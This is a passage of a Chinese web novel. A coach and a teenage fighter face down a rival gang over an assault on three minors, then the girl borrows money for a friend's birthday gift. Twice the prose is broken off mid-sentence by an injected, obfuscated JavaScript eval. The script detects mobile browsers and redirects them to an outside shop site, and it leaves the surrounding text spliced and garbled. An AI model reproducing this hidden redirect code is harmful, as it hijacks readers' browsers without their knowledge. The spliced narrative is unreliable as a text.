陈漠把这句话记在心里,点了一下头。 本田思域拐过第九街区的路口,铜钉酒吧门口那根歪斜的电线杆已经出现在视野里。门口停着几辆车,其中一辆是丁哥那辆黑色的雪佛兰,另一辆是墨绿色的道奇皮卡,车身侧面印着一行白字,第九街区汽修。 车停在马路对面,熄了火,颂蓬转头看了陈漠一眼。 “枪。” 陈漠伸手摸了一下后腰。 “在。” 颂蓬推开车门,趿拉着人字拖踩在柏油路面上,往铜钉酒吧铁皮门走去。陈漠跟在他身后,外套下摆被傍晚的风吹得掀起,露出后腰上黑色手枪的握柄末端。 铁皮门虚掩着,里面传出模糊的人声和杯盏碰撞的声响。颂蓬伸手推开门,侧身让陈漠先进。酒吧大厅里的霓虹灯今天没开,桌椅已经被重新摆正了,上次打斗留下的碎玻璃和血迹也已经被清理干净,地砖上只剩几道擦不掉的黑印。 大厅正中央的长桌两侧各坐着几个人。左边是丁哥,阿光,还有一个陈漠不认识的年轻男人,应该是丁哥从红蚁里临时调来的。右边坐着三个人,最靠近门口的是安德烈斯,他今天穿着深蓝色的工装夹克,头发梳得整齐。他旁边坐着一个四十出头的拉美裔男人,体形微胖,四方脸,短黑发梳成背头,下巴上蓄着修剪整齐的短须,穿一件熨得笔挺的白色短袖衬衫,口袋上绣着一行小字,埃尔南德斯,第九街区汽修。 埃尔南德斯的右手边还坐着一个年轻男人,瘦高个,脖子上有纹身,看起来像是保镖兼司机的角色。 看到颂蓬和陈漠走进来,埃尔南德斯率先站起来,脸上露出一个恰到好处的笑容。他不紧不慢地绕过桌子,主动伸出手,打了个招呼,语气亲切得像是见到了多年未见的老朋友。 他说久仰颂蓬大名,今天终于有机会坐下来好好聊聊。然后目光转向陈漠,上下打量了一眼,笑着补充道,这就是陈漠吧,真够高的,上个月停车场的事他听说了,年轻人有点血性是好事。 颂蓬握了一下他的手,力道不大,点了个头算作回应,拉开丁哥旁边的椅子坐下,下巴朝对面的安德烈斯扬了扬,用英语说了一句:“主角都来了,那就开始吧。” 陈漠在颂蓬旁边坐下,背挺得很直,双手自然地搭在膝盖上。 安德烈斯正在盯着她,眼睛里带着一种压抑了很久的怒气,嘴唇抿成一条缝,腮帮子上的肌肉一鼓一鼓的。 两秒后,他移开了目光。 埃尔南德斯坐回自己的位置上,十指交叉放在桌面上,笑容还挂在脸上,他说今晚约大家来,是想把最近的事情说开,铜钉酒吧的事,停车场的旧账,车铺的人和红蚁的人之间的误会,总得有个说法,拖着对谁都不好。 他将目光转向颂蓬,笑着问,你们那边的账,是怎么算的。 烟头按进桌上的烟灰缸里,颂蓬动作不快,碾了两下才松开手,开口的时候语气很平,“三件事。第一,医疗费。三个孩子,一个左臂骨折,一个头皮裂伤缝了四针,一个面部多处软组织挫伤。医药费加起来,加上一个星期的误工费,这个钱你们出。” 埃尔南德斯点了一下头,示意他继续。 “第二,道歉。安德烈斯当面道歉,对红蚁道歉,对那三个孩子道歉。就在这里,就现在。” “第三,从今天起,安德烈斯和他手下的人,不许再找陈漠的麻烦,也不许找红蚁任何一个未成年成员的麻烦。学校里的,街面上的,都不行。” 长桌对面安静了大概三秒。 椅子腿在地砖上刮出一声刺耳的尖响,安德烈斯站了起来,双手撑在桌面上,身体前倾,脖子上的青筋从工装夹克的领口里暴出来。 “?Estás bromeando?你他妈在开玩笑?你让我赔钱?你让我道歉?我妹妹上个月被这个婊/子打断了锁骨,住了七天院,现在还在家躺着。这笔账你他妈怎么不算?” 陈漠抬起眼睛看着他,“你妹妹带人在停车场堵我,两个人打一个,嘴里骂的是chink和滚回中国。” 她停顿了一下,嘴角往上弯了一个弧度,但眼里一点笑意都没有,“她先动的手,我只是正当防卫。停车场的监控拍得明明白白,警察来了也没抓我。你妹妹不是工会的人,你为了给你妹妹出气,带八个成年人围殴三个未成年的孩子,其中一个才十四岁。周彦头上缝了四针,小胖左臂骨折,小李到现在还头晕。你打不过颂蓬,打不过丁哥,甚至不敢直接来找我。你挑了三个最小的,最不会还手的,把气撒在他们身上。” “你有本事就来找我。我就在第六街区,每天都在修车厂训练,门开着,路不远。可你不敢。你只敢带着七八个人堵三个孩子,然后用他们的血打电话叫我来。” 安德烈斯的脸涨成了紫红色,手从桌面上抬起来,握成了拳头。埃尔南德斯在旁边伸手按住了他的小臂。 “你连单挑都不敢跟我单挑,”陈漠把最后一句丢在桌面上,语气轻得像是在说今天天气不错,“现在还好意思叫上面的人替你出头。孬种。” 砰! 拳头砸在桌面上,啤酒瓶跳起来翻倒,泡沫顺着桌沿往下淌,安德烈斯用西语吼了一句什么,声音大到在空旷的酒吧大厅里来回弹了好几次。 颂蓬始终没有动。 他等安德烈斯的回声消散之后,站了起来。他比安德烈斯矮了将近半个头,站在桌子这边,需要微微仰着脸才能和安德烈斯对视。但安德烈斯看到他站起来的那一刻,喉咙里的下一个音节硬生生卡住了。 “你的人动了我的学生。”颂蓬说的是英语,“你妹妹在停车场先动的手,你本可以不插手。小孩子打架,打完了就算了。但你选择了报复,而且报复的对象是三个没有还手能力的未成年人。在我们的规矩里,这不叫报仇,这叫欺软怕硬。你要谈你妹妹的锁骨,可以。等你妹妹养好伤,让她自己来找陈漠,堂堂正正打一场。打得过是她的本事,打不过是她自找的。但你以大欺小、以多欺少,这笔账你先清了再说别的。你不道歉可以,不赔钱也可以。但明天开始,你的汽修铺会有红蚁的人天天去拜访。你的车,你的人,你从仓库区走的那几条路,都会有红蚁的人盯着。你不按规矩来,我也不按规矩来。你可以试试,是你卡车司机工会的招牌硬,还是红蚁在街面上的人多。” 他拿起桌上那罐还没开的啤酒,单手拉开了拉环,泡沫嘶的一声冒出来,他仰头喝了一口。 “道歉。” “颂蓬,”埃尔南德斯开口了,语气还是客客气气的,“我在第九街区做了十二年生意,跟红蚁打交道也不是一天两天了。你今天说的这三条,赔钱,可以谈。保证不找你的人麻烦,也可以谈。但你让我的人当着你的面道歉,你是一点面子都不给我留?” “面子?我三个孩子被人堵在酒吧里打,一个断了胳膊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536667|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个缝了四针。你让我给你留面子?”啤酒罐搁在桌上,罐底碰到桌面发出一声轻响,颂蓬表情没有变化,说话的语气比刚才冷了两度,“埃尔南德斯,我今天肯坐在这里跟你谈,就已经是给你面子了。换个人来,我不会带陈漠,也不会让丁哥提前给你打电话。我会直接去你的汽修铺,用我的方式解决。” 埃尔南德斯的眼睛眯了起来,脸上笑容消失了,“你这是在威胁我?” “不是威胁,”颂蓬把话挑明了,“是在告诉你事实。安德烈斯是你的人,他做的事你得担。你要是觉得这三条你接不住,我们现在就可以走。” “红蚁跟卡车司机工会,这几年井水不犯河水,不是因为怕你们,是因为没有利益冲突。但如果今天这事谈不拢,安德烈斯动了红蚁的人不给交代,那从明天开始,就不是井水不犯河水了。你想清楚。” 埃尔南德斯沉默了几秒,目光在颂蓬和丁哥之间移动,最后落在自己面前桌上没动过的啤酒上。他在算账。卡车司机工会现在跟码头工会在争仓库区的运输合同,这个时候节外生枝跟红蚁全面交恶,不值得。安德烈斯是他的人,但安德烈斯只是一个外围的汽修工,不值得为了他搭上整个第九街区东边的稳定。 他端起啤酒灌了一大口,杯子放下来的时候力道比平时重了几分。 “行。第一条,医药费加误工费,多少?” 颂蓬从口袋里掏出一张对折的纸,推到桌面上。埃尔南德斯打开看了一眼数字,没有还价,直接把纸折好放进了衬衫口袋里。 “第二条,道歉。”埃尔南德斯站起来,拍了拍安德烈斯的肩膀,“安德烈斯。” 安德烈斯腮帮子咬得死紧。他看着埃尔南德斯,想说什么,但埃尔南德斯的目光比他更硬。几秒之后,安德烈斯从牙缝里挤出几个字,用的是英语,声音像是被人掐着脖子说出来的:“I apologize for what happened。” 烟头按灭在烟灰缸里,丁哥靠前坐直了身体,一只手搭在桌沿上,指节敲了两下桌面:“上门。” 安德烈斯转过头来,没听懂。 丁哥看着他的眼睛,一字一顿地说:“上门去道歉。周彦、小李、小胖,三个人现在都在第六街区的修车厂里躺着,一个断了胳膊两个包着纱布。你要道歉,就去他们面前道。用中文说对不起,让他们听得懂。然后看着他们的伤,把你刚才那句话再说一遍。” 安德烈斯猛地转向埃尔南德斯,眼睛里全是怒火和不可置信。埃尔南德斯沉默了一瞬,点了头,足够明确。 安德烈斯站在长桌边,两只手垂在身侧,拳头攥得嘎吱作响。整个酒吧大厅里的人都在看他,红蚁的人在看他,他老板在看他,陈漠也在看他,那个打断了他妹妹锁骨的女的,正靠在椅背上,手臂交叉在胸前,面无表情地等着他的反应。 他一脚踢开椅子,转身大步走向后门,脚步声在空荡的大厅里回荡了好几秒才消散。 铁皮后门被摔上。 “他会去的。”埃尔南德斯拿起桌上那杯没喝完的啤酒,仰头喝干,然后把杯子倒扣在桌面上,站起来整了整衬衫领口,“第三条,从今天起,我的人不会主动找红蚁未成年成员的麻烦。但如果你们的人先动手,这条作废。” “成交。”颂蓬站起来,伸出手。 埃尔南德斯握住了,虎口发力很重,颂蓬面不改色地受了。两个人对视了大概两秒,同时松手。 丁哥率先站起来,拎起椅背上的外套往肩上一搭,阿光和另一个红蚁的年轻人也跟着起身。颂蓬往门口走了两步,发现陈漠没有跟上来,回头看了她一眼:“走了。” 陈漠站起来,转身跟上颂蓬,后腰上枪的轮廓在转身的瞬间从外套下摆里露出来一瞬。埃尔南德斯看到了,嘴角的弧度又深了一度。 走到铁皮门口的时候,身后传来安德烈斯的声音。 他从后门又绕回来了,站在大厅后侧靠墙的位置,工装夹克的扣子解开了两颗,露出里面被汗浸湿的灰色T恤。刚才摔门出去之后他大概在外面站了一会儿,被风吹得冷静了些。 “颂蓬。”他叫道。 颂蓬停住脚步,侧身看着他。 “下个月,”手插进裤兜里,安德烈斯肩膀靠着墙,脸上扯出一个笑,“下个月的第一个周五,地下拳场要开女子场。这是今年第一场女子赛,消息已经放出去了,整个洛根市的拳场都在传。” 他看着陈漠,下巴朝她的方向点了一下:“她,你们红蚁肯定在自己人身上下注了吧?未成年。没打过一场正式比赛。直接拉上去跟那些打了三五年黑拳的女人对。呵,我听说这次女子场的对阵表有个从萨克拉门托过来的女人,绰号叫粉碎机,二十八岁,打了九年黑拳,全美地下拳场巡回赛拿过两次冠军。你们红蚁的消息比我灵通,肯定知道我说的是谁。” 说着,他往前走了两步,站到陈漠面前,嘴角的笑意里带着毫不掩饰的嘲讽:“你打断我妹妹的锁骨,用的是手肘。粉碎机打断别人的肋骨,用的是膝盖。到擂台上,你觉得你还有机会用你的手肘去砸别人的锁骨吗?不瞒你说,我已经在她身上下了一笔注。买她在第一回合把你KO。” 顿了顿,他斜了颂蓬一眼,又落回到陈漠身上。 “祝你好运,”他说,嘴角那抹笑慢慢收成了冰冷的直线,“希望你在擂台上也能像你在停车场里那么能打。” 19.第 19 章 下午五点的天色是那种介于灰和金之间的颜色。 本田思域拐进修车厂后巷的时候,轮胎碾过一堆碎石子,发出咯吱咯吱的声响。 车停在铁皮卷帘门旁边,熄了火。 陈漠推开车门,伸手摸向后腰,抽出来手枪,枪柄朝向颂蓬递过去。 颂蓬正从驾驶座里往外挪,他看了一眼陈漠递过来的枪,没接。 “你收着。” “给我?” “你先拿着,”颂蓬关上车门,靠着车门,“下个月你要上台,安德烈斯今天说的那个粉碎机。萨克拉门托来的女人,二十八岁,九年黑拳,两次全美巡回赛冠军。她不是普通的拳手,是专门打地下黑拳的那种,擂台上打死过人的。” “这把枪你放在家里,训练的时候别带,上台的时候更别带。但如果有人在你上台之前找你麻烦,你知道该怎么办。” 陈漠低头看着手里的枪,枪身在夕阳下泛着暗沉的光。她想了想,枪重新别回后腰,外套拉下来遮住,动作比下午在车里第一次别枪的时候利落了很多。 “行。” 颂蓬点了一下头,转身往修车厂里走。陈漠跟在他身后,铁皮卷帘门拉开的声音在巷子里回荡,修车厂里弥漫着机油和旧橡胶的气味,训练场角落的沙袋在微微晃动,大概是刚才有人用过。 走了几步,陈漠开口了。 “颂蓬。” “嗯?”颂蓬趿拉着人字拖走到工作台前面,拿起上面放着的半瓶矿泉水,拧开盖子喝了一口。 “下个月的拳赛,你说过进了前三有一千块奖金。” 颂蓬喝水的动作停了一下,“我是说过。怎么了?” “我想提前预支。” 修车厂里安静了大概有三秒。颂蓬把矿泉水瓶搁回工作台上,人字拖在水泥地面上转了个方向,他正面朝着陈漠,眯起了眼睛。 “预支?”他重复了一遍,语气像是在确认自己没听错。 “对。” 颂蓬上下打量了她一眼。他认识陈漠大半年,这个姑娘从来没主动跟他要过一分钱。丁哥给她的跑腿费她从来不讨价还价,训练用的绷带和药酒都是她自己掏钱在便利店买的,有一次她的拳套破了个洞,手指都磨出血了,也没开口跟他要新的,自己用胶带缠了两圈继续练。现在她站在他面前,面无表情地说要预支一千块奖金,说得好像在跟他讨论今天训练练什么项目一样理所当然。 他的第一反应不是生气,是担心。 “你是不是在抽大/麻。” 陈漠的表情裂了一瞬,嘴角往下撇了一点,眼神里写着“你在说什么鬼话”。 “……不是。” “可/卡/因?” “不是。” “那是不是欠了高利贷?我跟你说了多少次,第六街区放贷的那些人不能碰,他们利息滚起来比卡车司机工会的手段还狠。” “不是。” “那是什么?”烟放到嘴里,颂蓬从裤兜里摸出打火机,啪嗒一下点上,吸了一口,“你在我手下练了大半年,从来没主动要过一分钱。丁哥给你私活你拿,不给你你也不吭声。拳套破了用胶带缠,绷带用完了把旧的洗洗晾干再用,你以为我不知道?突然说要预支一千块,你觉得我会怎么想?” “我没抽大/麻,也没碰别的。” “那你告诉我,一千块,你要拿去干什么。” 陈漠的表情出现了一瞬间不自然。 她不太习惯跟人要东西,更不习惯跟人要钱。在红蚁跑了大半年腿,丁哥给多少她就拿多少,从来不问“能不能多给点”。颂蓬教她打拳,没收过她一分钱学费,她也从来没开过口要任何东西。 现在她站在修车厂的水泥地上,手插在口袋里,后腰别着颂蓬给她的枪,脑子里转着的是后天伊莎贝拉的生日。她活了十六年,从来没有给任何人送过像样的生日礼物。便利店的东西太便宜,她买得起的都配不上伊莎贝拉,而她买不起的都在橱窗里亮着光。 她需要这笔钱。是为了给一个人买一件配得上她的东西。 “给人买生日礼物。”她说。 颂蓬眉毛往上挑了一大截。这个表情出现在他常年似笑非笑的脸上,看起来有点滑稽。 “给人买生日礼物。”他用一种复述奇闻的语气重复了一遍,“一千块的生日礼物?” “对。” “谁?” 陈漠没说话。 颂蓬在曼谷的地下拳场里混了十五年,见过太多人,见过太多眼神。陈漠现在的眼神,他在无数个年轻拳手脸上见过的,第一次喜欢上一个人的时候才会出现的,又倔又笨又想藏又藏不住的眼神。 他的表情变了,两只手插进裤兜里,围着陈漠转了半圈。 “啧,”他停在陈漠另一侧,斜着眼看她,“一千块的生日礼物。我过生日的时候你怎么没送过我东西?连根烟都没给我买过。” “你不过生日。” “你怎么知道?” “你自己说的。你说过生日是浪费时间。” 颂蓬被自己的话堵了回来,噎了半秒,笑了一声。他摇了摇头,拿下嘴里的烟,烟头在旁边的铁架子上按灭了,扔进角落的垃圾桶里。 “行,不过生日是我的事。但你……一千块。丁哥手底下那些小子,跑腿跑一个月也就拿几百块,你开口就是一千。这个过生日的人,是对你很重要?还是你在外面欠了谁的账不敢跟我说?” “没有欠账。” “那就是很重要。”颂蓬脸上的笑意更深了,“多重要?比你的命还重要?” 陈漠:“……” 颂蓬哈哈大笑,笑声在空荡荡的修车厂里来回弹了几轮,他笑够了之后,衬衫口袋里摸出一个钱包,破破烂烂的人造革,边角都磨白了,打开来里面夹着一叠现金。他数都没数,抽出整叠现金,在陈漠眼前晃了晃。 “一千块我可以给你。但我问你,你知道那个粉碎机是什么水平吗?萨克拉门托的地下拳场比我们这边血腥得多,她在那种地方打了九年,膝盖上沾的血比你训练场上沙袋上的汗还多。我让你上台,不是让你去拼命拿冠军的,是让你去见见世面,知道真正的黑拳是什么样子。前三对你来说已经是超额完成任务了。你要是进不了前三,这一千块就是你的债。到时候你拿什么还?” “我会进前三。” “你拿什么保证?” “我自己的身体。” “你的身体跟你一样倔,告诉你那个过生日的人,这一千块不是一个富二代随手掏的零花钱,是一个十六岁的姑娘在地下拳场用骨头换来的。让那个人好好珍惜。” 说完,他把钞票塞进陈漠的手心里,往回抽了半步,拍了拍手。 陈漠收紧手指,钞票握在手心里。纸钞的边缘硌着她的掌纹,有点硬,有点凉,是她活了十六年经手的最大一笔现金。她折好钱,塞进外套内侧的拉链口袋里,拉链拉到头。 “谢谢。” “不用谢,这不是送你的,是预支,记着账上的。等你进了前三再说,没进的话,这一千块就从你以后跑腿的工钱里扣。一周一百五,扣到还清为止。你要是敢跑路,我就让丁哥把你从第六街区追到第九街区。”颂蓬转过身去,走到工作台前面,拿起矿泉水瓶喝了一口,“后天你那个朋友过完生日,你就给我回来好好训练。粉碎机不会等你买完礼物再上台。” “我知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538899|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 第六街区,总有一两盏是坏的,灯泡忽明忽暗,人行道上铺着的柏油路面坑坑洼洼,空气里飘着某户人家正在做晚饭的烤肉。 换了平时陈漠大概会去便利店买瓶水啃个三明治,然后直接回家,洗掉满身汗味,躺在床上休息。 但现在她走得很急。 步伐比平时快了不少,运动鞋踩在坑洼的人行道上发出规律的声响。外套口袋里手机震了一下,是伊莎贝拉发的消息。 Isabella López:训练完了吗? 她边走边打字:刚完。等会儿到家门口停一下,我有个东西给你。 Isabella López:什么东西? Chen:后天再说。 Isabella López:???你发错了还是故意的?为什么是后天? Chen:后天是你生日。 消息发出去之后,对面沉默了一会。然后手机连续震了好几下。 Isabella López:你怎么知道我生日? Isabella López:我没跟你说过。 Isabella López:我哥说的对不对?他跟你说了什么? Isabella López:Chen???? 陈漠看着屏幕上那串连珠炮似的消息,忽然有点烦躁,因为她现在口袋里有一千块现金,完全不知道该怎么花。她从来没有给人买过生日礼物,更没有给伊莎贝拉这样的人买过生日礼物。便利店货架上的东西太便宜了,十块钱的零食,几块钱的饮料,拿这种东西当十八岁生日礼物,她自己都觉得拿不出手。 她停下脚步,靠在路边的电线杆上,打开手机浏览器,在搜索栏里敲了几个词。加载圈转了两圈,弹出一整页结果。她往下翻了几条,珠宝、化妆品、包、耳机、手表,每一个词都让她更烦躁。她想象不出伊莎贝拉用这些东西的样子。珍珠项链挂在那个画素描时会沾上炭笔灰的锁骨上,太奇怪了。名牌包搁在那间淡紫色墙壁的房间里,和窗台上那盆吊兰,床上那只泰迪熊格格不入。 翻到第三页的时候,屏幕上弹出一条本地艺术用品商店的链接。 店名是“Blick Art Materials”,地址在洛根市中心,营业时间到晚上八点。 陈漠盯着屏幕看了一会儿,点开了那家店的主页,往下翻了几页,又打开谷歌地图搜了从第六街区到洛根市中心的公交路线。地图上弹出一条蓝色的公交线路标识,全程大概五十分钟,中途需要换乘一次。 她抬头看了一眼天色。西边最后一抹橙红色的晚霞正在被深紫色的暮云吞掉,街灯已经全亮了。现在去的话,到那边大概六点半,还有一个半小时可以挑东西。 手机又震了。 Isabella López:你人呢? Chen:临时有点事。晚上回来给你发消息。 Isabella López:你不是刚从训练场出来?又有什么事? Isabella López:颂蓬又让你去送东西? Chen:不是。私事。 Isabella López:……你该不会真的在准备那个后天的东西吧。 Isabella López:你告诉我要准备什么程度的,我好有个心理准备。你要是买太贵的我会当场退回去的,我说到做到。 陈漠没有回复的意思,手机屏幕朝下翻扣着,塞进口袋,快步走到街角的公交站牌下面,站牌的塑料板已经被太阳晒得发黄,上面的线路图被人用马克笔涂了好几个涂鸦。 她确认了一下方向,靠在站牌的金属杆上等车。